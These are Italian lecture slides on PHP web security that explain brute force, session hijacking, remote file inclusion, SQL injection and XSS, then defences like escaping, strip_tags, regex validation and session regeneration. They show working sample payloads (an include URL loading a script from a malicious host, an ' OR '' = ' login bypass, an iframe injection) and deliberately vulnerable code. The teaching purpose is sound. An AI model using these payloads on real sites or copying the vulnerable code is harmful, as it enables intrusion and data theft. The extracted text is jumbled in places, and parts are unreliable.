MODULO 1

(1)

MODULO 1

PARTE 3

Programmazione (scripting) server-side con PHP

3.e

Goy - a.a. 2009/2010 Programmazione Web 1

Cenni alla sicurezza di applicazioni web (PHP)

Intrusioni

• Intrusione = accesso non previsto ad un programma, con lo scopo di prelevare dati nascosti o modificare il

funzionamento dell'applicazione; es: furto di dati

La sicurezza sul web: introduzione - I

personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza

• Per ridurre la possibilità di intrusioni bisogna “mettere in sicurezza” l’applicazione → per implementare

un’applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si

energie, che spesso vengono invece spesi solo quando si presentano i problemi…

• La messa in sicurezza di un’applicazione dovrebbe invece

seguire di pari passo la progettazione, per evitare di dover

inserire successivamente costose e meno funzionali patch

(2)

Esistono diversi modi per attaccare un'applicazione web:

1. Autenticazione 2. Autorizzazione

3 Attacchi lato client

La sicurezza sul web: introduzione - II

3. Attacchi lato client

4. Iniezioni di codice

5. Ricerca dei contenuti 6. Attacchi logici

Accenniamo solo ad alcuni esempi che si basano su meccanismi isti nel corso

meccanismi visti nel corso…

• Autenticazione = processo tramite il quale un programma verifica le credenziali di un computer/programma/utente

• Intrusioni per ottenere i dati di accesso (credenziali):

– Brute force: processo automatico per tentativi ed errori che,

Attacchi: autenticazione

f p p

tramite la generazione casuale di stringhe o l'utilizzo di appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numero di carte di credito, …

– Autenticazione insufficiente: vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito, per es.

un’applicazione web che, implementa un'area riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo chi ne conoscono il percorso, senza altre protezioni

– Sistema debole per il recupero e validazione della password:

esempio di recupero password non sicuro = a chi dimentica la password vengono richiesti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni risulterà facile per coloro che conoscono la

(3)

• Autorizzazione = metodo con cui vengono controllate le credenziali di un utente/applicazione e stabilite le possibilità di accesso a certe operazioni (verifica dei “privilegi”)

• Intrusioni per falsificare i propri privilegi:

Attacchi: autorizzazione

– Session hijacking: “dirottamento della sessione”, consiste nel ricavare l'ID di sessione che individua uno degli utenti collegati in quel momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate

– Autorizzazione insufficiente: vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito, per es.

un’applicazione web che permette l'accesso a documenti riservati a chiunque ne conosca il percorso, senza imporre le dovute restrizioni

q p , p

– Terminazione della sessione insufficiente: questa vulnerabilità si presenta quando il sito permette all'utente di riutilizzare un vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì che un malintenzionato abbia più tempo a disposizione per tentare un furto di un session ID)

• Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore; generalmente usa le variabili

GET

o

POST

del linguaggio server-side

• Iniezioni PHP - Esempi

U i t di GET i l d

Attacchi: iniezioni di dati/codice - I

– Uso incauto di GET e include

L’URLdi connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il percorso del file che contiene lo script da inserire all'interno del codice:

http://sito_esempio/esempio.php?include_script=previsto.php All’interno di esempio.php:

<? include ($_GET["include_script"]); ?>

senza alcun controllo sul valore di $ GET["include script"],

_ [ _ p ],

rendendo possibile inoculare lo script malevolo.php residente sul sito sito_malevolo.com all'interno della variabile

$_GET["include_script"]connettendosi a:

http://sito_esempio/esempio.php?include_script=

http%3A%2F%2Fsito_malevolo.com%3Amalevolo.php [%3A = / e %2F = :]

(4)

• Iniezioni SQL - Esempi

– Uso incauto di POST

Attacchi: iniezioni di dati/codice - II

$username = $_POST['username'];

$password = $_POST['password'];

$query = "SELECT * FROM dati_utenti WHERE

username = '".$username."' AND password = '".$password."'";

$data = mysql_query ($query) or die...

while ($aux = mysql_fetch_array($data)) { print "<br>Username: " $aux['username'];

Attacchi: iniezioni di dati/codice - III

print <br>Username: .$aux[ username ];

print "<br>Password: ".$aux['password'];

print "<br>Nome: ".$aux['nome'];

print "<br>Cognome: ".$aux['cognome'];

print "<br>N°carta credito: ".$aux['n_carta_credito'];

print "<br>Scadenza: ".$aux['scadenza'];

}

Inserendo dati come questi nella form di login:

username: ' OR ' ' = '

password: ' OR ' ' = ' sempre vero!

(''=''è sempre true) viene generata la seguente query:

$query = "SELECT * FROM dati_utenti WHERE username = '' OR '' = '' AND password = '' OR '' = ''" ;

e l'utente malintenzionato può stamparsi sul proprio browser tutto il contenuto del database!

( p )

(5)

• Contro gi strumenti di analisi automatica

(= programmi per la ricerca automatica di vulnerabilità del sistema; usati sia per intrusione, sia per la ricerca preventiva di possibili falle di sicurezza)

Esistono diverse possibili azioni preventive; qui ne citiamo solo una a titolo esemplificativo: i

CAPTCHA(Completely

Difese: test audiovisivi

solo una a titolo esemplificativo: i

CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)

, basato sull’idea del test di Turing

(porre domande che permettano di capire se l’interlocutore è un umano o una macchina)

La forma più comune di

CAPTCHA

è visiva:

vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition: programmi dedicati al

riconoscimento di un'immagine contenente testo)

• Progettazione di applicazioni sicure: accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio…

– Validazione input

Uno dei punti più deboli di un'applicazione web è l’elaborazione dei dati forniti dall’utente in input (per es nei form)→ effettuare

Difese: applicazioni sicure, validazione input - I

dei dati forniti dall utente in input (per es. nei form) → effettuare dei controlli sulle stringhe in input è una questione cruciale

♦Premesse:

La verifica va effettuata sul server

Nelle impostazioni di php.ini:

– la direttiva register_globals, se attivata, assegna

automaticamente i dati provenienti da GET, POST, cookies,

p

ecc. a variabili aventi lo stesso nome; per es:

$_POST["username"]= "admin"→ automaticamente assegnato a → $username

NB nell’installazione di default di XAMPP register_globals è off

(6)

– la direttiva variables_order specifica l'ordine di priorità dei parametri aventi lo stesso nome

Il default generalmente (e anche in XAMPP) è EGPCS, cioè:

system Environment> GET > POST > Cookie>Server environment

P i bbi il d ll’ t t i

Difese: applicazioni sicure, validazione input - II

Per esempio, se abbiamo il nome dell’utente in:

$_GET["username"]="pippo“

$_POST["username"]="amministratore"

$_COOKIE["username"]="moderatore"

Se variables_order = EGPCS

⇒ $username="moderatore" (valore del cookie)

Se variables order = SCPGE in presenza di due variabili

Se variables_order = SCPGE, in presenza di due variabili omonime provenienti dal Server enviroment e da GET, verrà assegnato il contenuto di quest'ultima!

Giocano spesso un ruolo determinante le variabili non inizializzate; per es:

auth = false;

if (utente_autorizzato()){

$auth = true;

Difese: applicazioni sicure, validazione input - III

$auth = true;

}

if ($auth) {

//stampa del contenuto delle pagine riservate }

inserendo all'interno dell'

URL

della pagina (parametro

GET

) il valore auth=true è possibile bypassare il

controllo della funzione utente_autorizzato!

(7)

♦Difese:

Disattivare la direttiva register_globals

Utilizzare delle costanti al posto delle variabili → le costanti richiedono l'uso della funzione define per essere create non possono essere modificate e non possono

Difese: applicazioni sicure, validazione input - IV

create, non possono essere modificate e non possono essere passate via

GET

o

POST

!:

(utente_autorizzato()) ?

define("AUTH", true) : define("AUTH", false) if (AUTH) {

//stampa del contenuto delle pagine riservate }operatore ternario:

(condizione) ? azione1 : azione2

se la condizioneè vera, esegue l’azione1, altrimenti l’azione2

la funzione define ha due parametri: nome e valore; definisce una costante nome e gli assegna valore

⇒ l’istruzione assegna un valore alla costante AUTH, in base all'esito della funzione utente_autorizzato

Usare tecniche di validazione degli input

– Numeri: la funzione is_numeric(n) controlla che n sia un numero

– Stringhe: validare le stringhe ricevute in input dall'utente è una questione molto più complessa

Difese: applicazioni sicure, validazione input - V

una questione molto più complessa…

Esistono due modi principali:

(a) filtrare l'inserimento di specifiche sequenze di caratteri, come i tagHTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo)

(b) accettare solo input che rispettino specifiche regole di formattazione (+ restrittivo)

( )

(8)

(a)

Caso I: apici singoli (') e doppi (") Possibile difesa: funzioni di escape

Escape = anteposizione di un carattere di escape, generalmente

Difese: applicazioni sicure, validazione input - VI

il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete di non interpretare ciò che segue Esempi di funzioni di escape in PHP:

o mysql_real_escape_string(s): ripulisce la stringa in input s dai caratteri potenzialmente dannosi in SQL, anteponendo un backslash davanti ai caratteri \x00, \n, \r, \, ', ", \x1a

o addslashes(s): analoga alla precedente, ma effettua unicamente l'escape di apici doppi e singoli

Per esempio, se username →' OR' ' = ' e password →' OR' ' = ' Se $username = $_POST['username'];

$password = $_POST['password'];

$query = "SELECT * FROM dati_utenti WHERE username = $username AND password = $password";

Difese: applicazioni sicure, validazione input - VII

username $username AND password $password ;

⇒ query risultante senza funzione di escape:

SELECT * FROM dati_utenti WHERE

username ='' OR '' = '' AND password ='' OR '' = ''

Se $username = mysql_real_escape_string($_POST['username']);

$password = mysql real escape string($ POST['password']);

sempre true!

true⇒ estrae tutta la tabella!!!

sempre true!

$password = mysql_real_escape_string($_POST[ password ]);

⇒ query risultante con funzione di escape:

SELECT * FROM dati_utenti WHERE username = \'\' OR \'\' = \'\' AND password = \'\' OR \'\' = \'\'

non estrae nulla…

(9)

Caso II: stampe di feedback di quanto inserito dall'utente Possibile difesa: impedire che il codice ricevuto tramite una GETvenga interpretato e integrato all'interno della pagina utililzzando le seguenti funzioni PHP:

( ) li i i d ll i i

Difese: applicazioni sicure, validazione input - VIII

o strip_tags(s) → elimina i tagPHPe HTMLdella stringa in input s

o htmlspecialchars(s)→ trasforma i caratteri speciali secondo la sintassi HTML(es: < diventa < ecc…)

Per esempio:

$_GET['username']: "Giorgio <iframe

src="http://www.sito_malevolo.com"></iframe>";

⇒ output senza controlli:

i $ [ ]

Difese: applicazioni sicure, validazione input - IX

print "Benvenuto, ".$_GET['username'];

→ sulla pagina:

Benvenuto, Giorgio [segue iframe "interpretato" → eseguito!]

⇒ con eliminazione del codice HTMLtramite strip_tags:

print "Benvenuto, ".strip_tags($_GET['username']);

→ sulla pagina (i tag iframe spariscono!):

Benvenuto, Giorgio

⇒ con conversione del codice HTMLin caratteri speciali tramite htmlspecialchars:

print "Benvenuto, ".htmlspecialchars($_GET['username']);

→ sulla pagina:

Benvenuto, Giorgio <iframe...></iframe>

(10)

(b)

Caso I: possiamo definire delle regole di formattazione per l’input, attraverso l’uso di espressioni regolari

Espressioni regolari^(*)= pattern (template, modelli) di stringhe;

es: espressione regolare per controllare l’email:

$ \

Difese: applicazioni sicure, validazione input - X

$pattern='[_a-z0-9-]+ (\.[_a-z0-9-]+)*

@[a-z0-9-]+ (\.[a-z0-9]{2,})';

if (eregi($pattern $ POST['email'])) { espressione formata da almeno

una occorrenza (+) di caratteri alfanumerici più – e _

un punto seguito da un'espressione formata da zero o più occorrenze (*) di caratteri alfanumerici più – e _ il simbolo @ seguito da un'espressione

contenente caratteri alfanumerici più –

un punto seguito da almeno due occorrenze di caratteri alfanumerici

if (eregi($pattern, $_POST['email'])) { //email valida }

else {

//email non valida }

(*)M.E. Davis & J.A. Phillips, Programmare in PHP e MySQL, HOPS Tecniche Nuove/O'Reilly, 2008, pp. 330-332

la funzione eregi (p, s) controlla che la stringa s rispetti il pattern p (NB non è case-sensitive; ereg lo è)

Caso II: controllare la lunghezza delle stringhe in input Per esempio:

$pag = $_GET['pag'];

if ( strlen($pag) <= 3 && is_numeric($pag)) { //ok...

i i l l h ( ) d ll i

Difese: applicazioni sicure, validazione input - XI

//

} else {

print "dati inseriti non validi";

}

Caso III: whitelist→ controllare i dati provenienti da caselle di scelta multipla (checkbox, radio button)

Per esempio:

$valore_inviato = $_POST['mese'];

$valori ammessi = array("gen" "feb" "mar" );

strlen(s)restituisce la lunghezza (int) della stringa s

$valori_ammessi = array( gen , feb , mar ,...);

if (! in_array($valore_inviato, $valori_ammessi)) { print "valore inserito non ammesso";

} else {

//ok...

in_array(e,a)restituisce true se l’elemento e è presente nell’array a, false atrimenti

(11)

– Sicurezza della sessione

La misura di sicurezza più semplice = utilizzare i cookies come unico mezzo di trasporto del session ID, inibendo l’URL rewriting (rendendo così il session hijacking molto più

difficile da realizzare):

Difese: applicazioni sicure, sessione - I

)

nelle impostazioni di php.ini→ session.use_only_cookie = 1 NB: si può usare la funzione ini_set per impostare

temporaneamente session.use_only_cookie a 1

ini_set("session.use_only_cookies", 1);

session_start(); ...

Una soluzione più efficace contro il session hijacking è la rinegoziazione del session ID ogni volta che viene inizializzata una sessione (session regeneration):

→ la funzione session_regenerate_id() genera un nuovo session ID (random) non prevedibile ri creando il cookie che

Difese: applicazioni sicure, sessione - II

session ID (random) non prevedibile, ri-creando il cookie che ne contiene il valore

Rotazione del session ID: simile alla session regeneration ma la generazione del nuovo session ID avviene ad ogni richiesta effettuata dall'utente

E’ una soluzione molto sicura, ma presenta alcuni problemi:

− crea problemi con versioni PHP antecedenti alla 5.1

− impedisce il funzionamento del tasto back del browser (il back

impedisce il funzionamento del tasto back del browser (il back effettua una richiesta con un session ID non più valido in quanto rinegoziato)

− impedisce il funzionamento corretto di memoria cache o di proxy

(12)

• La maggioranza dei problemi di sicurezza delle

applicazioni web è legata alla validazione degli input:

impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro

La sicurezza sul web: conclusioni

• Non si tratta di un'operazione semplice: si deve cercare un compromesso tra le funzionalità dell'applicazione (che rischiano di venire compromesse da controlli troppo restrittivi) e la sua usabilità da un lato e la messa in sicurezza dall’altro (ricordarsi che gli utenti sono pigri! e spesso non vogliono dover risolvere un